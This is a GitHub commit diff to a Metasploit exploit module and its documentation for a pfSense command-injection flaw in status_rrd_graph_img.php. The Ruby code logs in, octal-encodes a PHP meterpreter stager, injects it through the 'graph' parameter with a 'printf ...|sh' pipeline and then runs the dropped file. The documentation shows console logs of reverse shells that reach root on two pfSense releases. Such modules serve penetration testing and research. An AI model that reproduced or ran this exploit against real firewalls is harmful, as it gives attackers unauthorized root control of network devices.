Skip to content

Commit 8f0e41e

Browse files
wetw0rkwetw0rk
committed
requested changes
1 parent bc088cb commit 8f0e41e

File tree

2 files changed

+36
-101
lines changed

2 files changed

+36
-101
lines changed

‎documentation/modules/exploit/unix/http/pfsense_graph_injection_exec.md

Lines changed: 26 additions & 73 deletions
Original file line numberDiff line numberDiff line change
@@ -27,44 +27,22 @@
2727
### pfSense Community Edition 2.2.6-RELEASE
2828

2929
```
30-
msf exploit(unix/http/pfsense_graph_injection_exec) > options
30+
msf exploit(unix/http/pfsense_graph_injection_exec) > use exploit/unix/http/pfsense_graph_injection_execmsf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
31+
RHOST => 2.2.2.2
32+
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
33+
LHOST => 1.1.1.1
34+
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
3135
32-
Module options (exploit/unix/http/pfsense_graph_injection_exec):
33-
34-
Name Current Setting Required Description
35-
---- --------------- -------- -----------
36-
PASSWORD pfsense yes Password to login with
37-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
38-
RHOST 192.168.75.132 yes The target address
39-
RPORT 443 yes The target port (TCP)
40-
SSL true no Negotiate SSL/TLS for outgoing connections
41-
USERNAME admin yes User to login with
42-
VHOST no HTTP server virtual host
43-
44-
45-
Payload options (php/meterpreter/reverse_tcp):
46-
47-
Name Current Setting Required Description
48-
---- --------------- -------- -----------
49-
LHOST 192.168.75.128 yes The listen address
50-
LPORT 80 yes The listen port
51-
52-
53-
Exploit target:
54-
55-
Id Name
56-
-- ----
57-
0 Automatic Target
58-
59-
60-
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
61-
62-
[*] Started reverse TCP handler on 192.168.75.128:80
36+
[*] Started reverse TCP handler on 1.1.1.1:4444
6337
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
64-
[*] Triggering the payload, root shell incoming...
65-
[*] Sending stage (37543 bytes) to 192.168.75.132
66-
[*] Meterpreter session 1 opened (192.168.75.128:80 -> 192.168.75.132:34381) at 2018-01-01 02:07:03 -0600
67-
38+
[*] Payload uploaded successfully, executing
39+
[*] Sending stage (37543 bytes) to 2.2.2.2
40+
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:42116) at 2018-01-01 17:17:36 -0600
41+
42+
meterpreter > sysinfo
43+
Computer : pfSense.localdomain
44+
OS : FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
45+
Meterpreter : php/freebsd
6846
meterpreter > getuid
6947
Server username: root (0)
7048
meterpreter >
@@ -73,45 +51,20 @@ meterpreter >
7351
### pfSense Community Edition 2.1.3-RELEASE
7452

7553
```
76-
msf exploit(unix/http/pfsense_graph_injection_exec) > options
77-
78-
Module options (exploit/unix/http/pfsense_graph_injection_exec):
79-
80-
Name Current Setting Required Description
81-
---- --------------- -------- -----------
82-
PASSWORD pfsense yes Password to login with
83-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
84-
RHOST 192.168.75.131 yes The target address
85-
RPORT 443 yes The target port (TCP)
86-
SSL true no Negotiate SSL/TLS for outgoing connections
87-
USERNAME admin yes User to login with
88-
VHOST no HTTP server virtual host
89-
90-
91-
Payload options (php/meterpreter/reverse_tcp):
92-
93-
Name Current Setting Required Description
94-
---- --------------- -------- -----------
95-
LHOST 192.168.75.128 yes The listen address
96-
LPORT 80 yes The listen port
97-
98-
99-
Exploit target:
100-
101-
Id Name
102-
-- ----
103-
0 Automatic Target
104-
105-
54+
msf > use exploit/unix/http/pfsense_graph_injection_exec
55+
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
56+
RHOST => 2.2.2.2
57+
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
58+
LHOST => 1.1.1.1
59+
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/reverse_php
60+
PAYLOAD => php/reverse_php
10661
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
10762
108-
[*] Started reverse TCP handler on 192.168.75.128:80
63+
[*] Started reverse TCP handler on 1.1.1.1:4444
10964
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
110-
[*] Triggering the payload, root shell incoming...
111-
[*] Sending stage (37543 bytes) to 192.168.75.131
112-
[*] Meterpreter session 1 opened (192.168.75.128:80 -> 192.168.75.131:45257) at 2018-01-01 01:03:05 -0600
65+
[*] Payload uploaded successfully, executing
66+
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:3454) at 2018-01-01 15:49:38 -0600
67+
uname -a
11368
114-
meterpreter > getuid
115-
Server username: root (0)
116-
meterpreter >
69+
FreeBSD pfSense.localdomain 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Thu May 1 16:19:14 EDT 2014 root@pf2_1_1_amd64.pfsense.org:/usr/obj.amd64/usr/pfSensesrc/src/sys/pfSense_SMP.8 amd64
11770
```

‎modules/exploits/unix/http/pfsense_graph_injection_exec.rb

Lines changed: 10 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@ def initialize(info = {})
4040
'Encoder' => 'php/base64',
4141
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
4242
},
43-
4443
'DisclosureDate' => 'Apr 18, 2016',
4544
'Platform' => 'php',
4645
'Arch' => ARCH_PHP,
@@ -108,68 +107,51 @@ def detect_version(cookie)
108107
end
109108
# If the device isn't fully setup, you get stuck at redirects to wizard.php
110109
# however, this does NOT stop exploitation strangely
111-
print_error("pfSense version not detected or wizard still enabled.")
110+
print_error('pfSense version not detected or wizard still enabled.')
112111
Gem::Version.new('0.0')
113112
end
114113

115114
def exploit
116115
begin
117116
cookie = login
118117
version = detect_version(cookie)
119-
filename = rand_text_alpha(rand(20))
118+
filename = rand_text_alpha(rand(10))
120119

121120
# generate the PHP meterpreter payload
122-
stager = "echo \'<?php "
121+
stager = 'echo \'<?php '
123122
stager << payload.encode
124123
stager << "?>\' > #{filename}"
125124
# here we begin the encoding process to
126125
# convert the payload to octal! Ugly code
127126
# don't look
128127
complete_stage = ""
129128
for i in 0..(stager.length()-1)
130-
if "#{version}" =~ /2.2/
131-
complete_stage << "\\\\#{stager[i].ord.to_s(8)}"
132-
else
133-
complete_stage << "\\#{stager[i].ord.to_s(8)}"
129+
if version.to_s =~ /2.2/
130+
complete_stage << '\\'
134131
end
132+
complete_stage << "\\#{stager[i].ord.to_s(8)}"
135133
end
136134

137135
res = send_request_cgi(
138136
'uri' => '/status_rrd_graph_img.php',
139137
'method' => 'GET',
140-
'headers' => {
141-
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
142-
'Accept' => '*/*',
143-
'Accept-Language' => 'en-US,en;q=0.5',
144-
'Accept-Encoding' => 'gzip, deflate',
145-
'Origin' => 'null',
146-
'Cookie' => cookie,
147-
'Connection' => 'close',
148-
},
138+
'cookie' => cookie,
149139
'vars_get' => {
150140
'database' => '-throughput.rrd',
151141
'graph' => "file|printf '#{complete_stage}'|sh|echo",
152142
}
153143
)
154144

155145
if res && res.code == 200
156-
print_status("Triggering the payload, root shell incoming...")
146+
print_status('Payload uploaded successfully, executing')
157147
else
158-
print_error("Failed to upload the initial payload...")
148+
print_error('Failed to upload payload...')
159149
end
160150

161151
res = send_request_cgi({
162152
'uri' => '/status_rrd_graph_img.php',
163153
'method' => 'GET',
164-
'headers' => {
165-
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
166-
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
167-
'Accept-Language' => 'en-US,en;q=0.5',
168-
'Accept-Encoding' => 'gzip, deflate',
169-
'Cookie' => cookie,
170-
'Connection' => 'close',
171-
'Upgrade-Insecure-Requests' => '1',
172-
},
154+
'cookie' => cookie,
173155
'vars_get' => {
174156
'database' => '-throughput.rrd',
175157
'graph' => "file|php #{filename}|echo "

0 commit comments

Comments
 (0)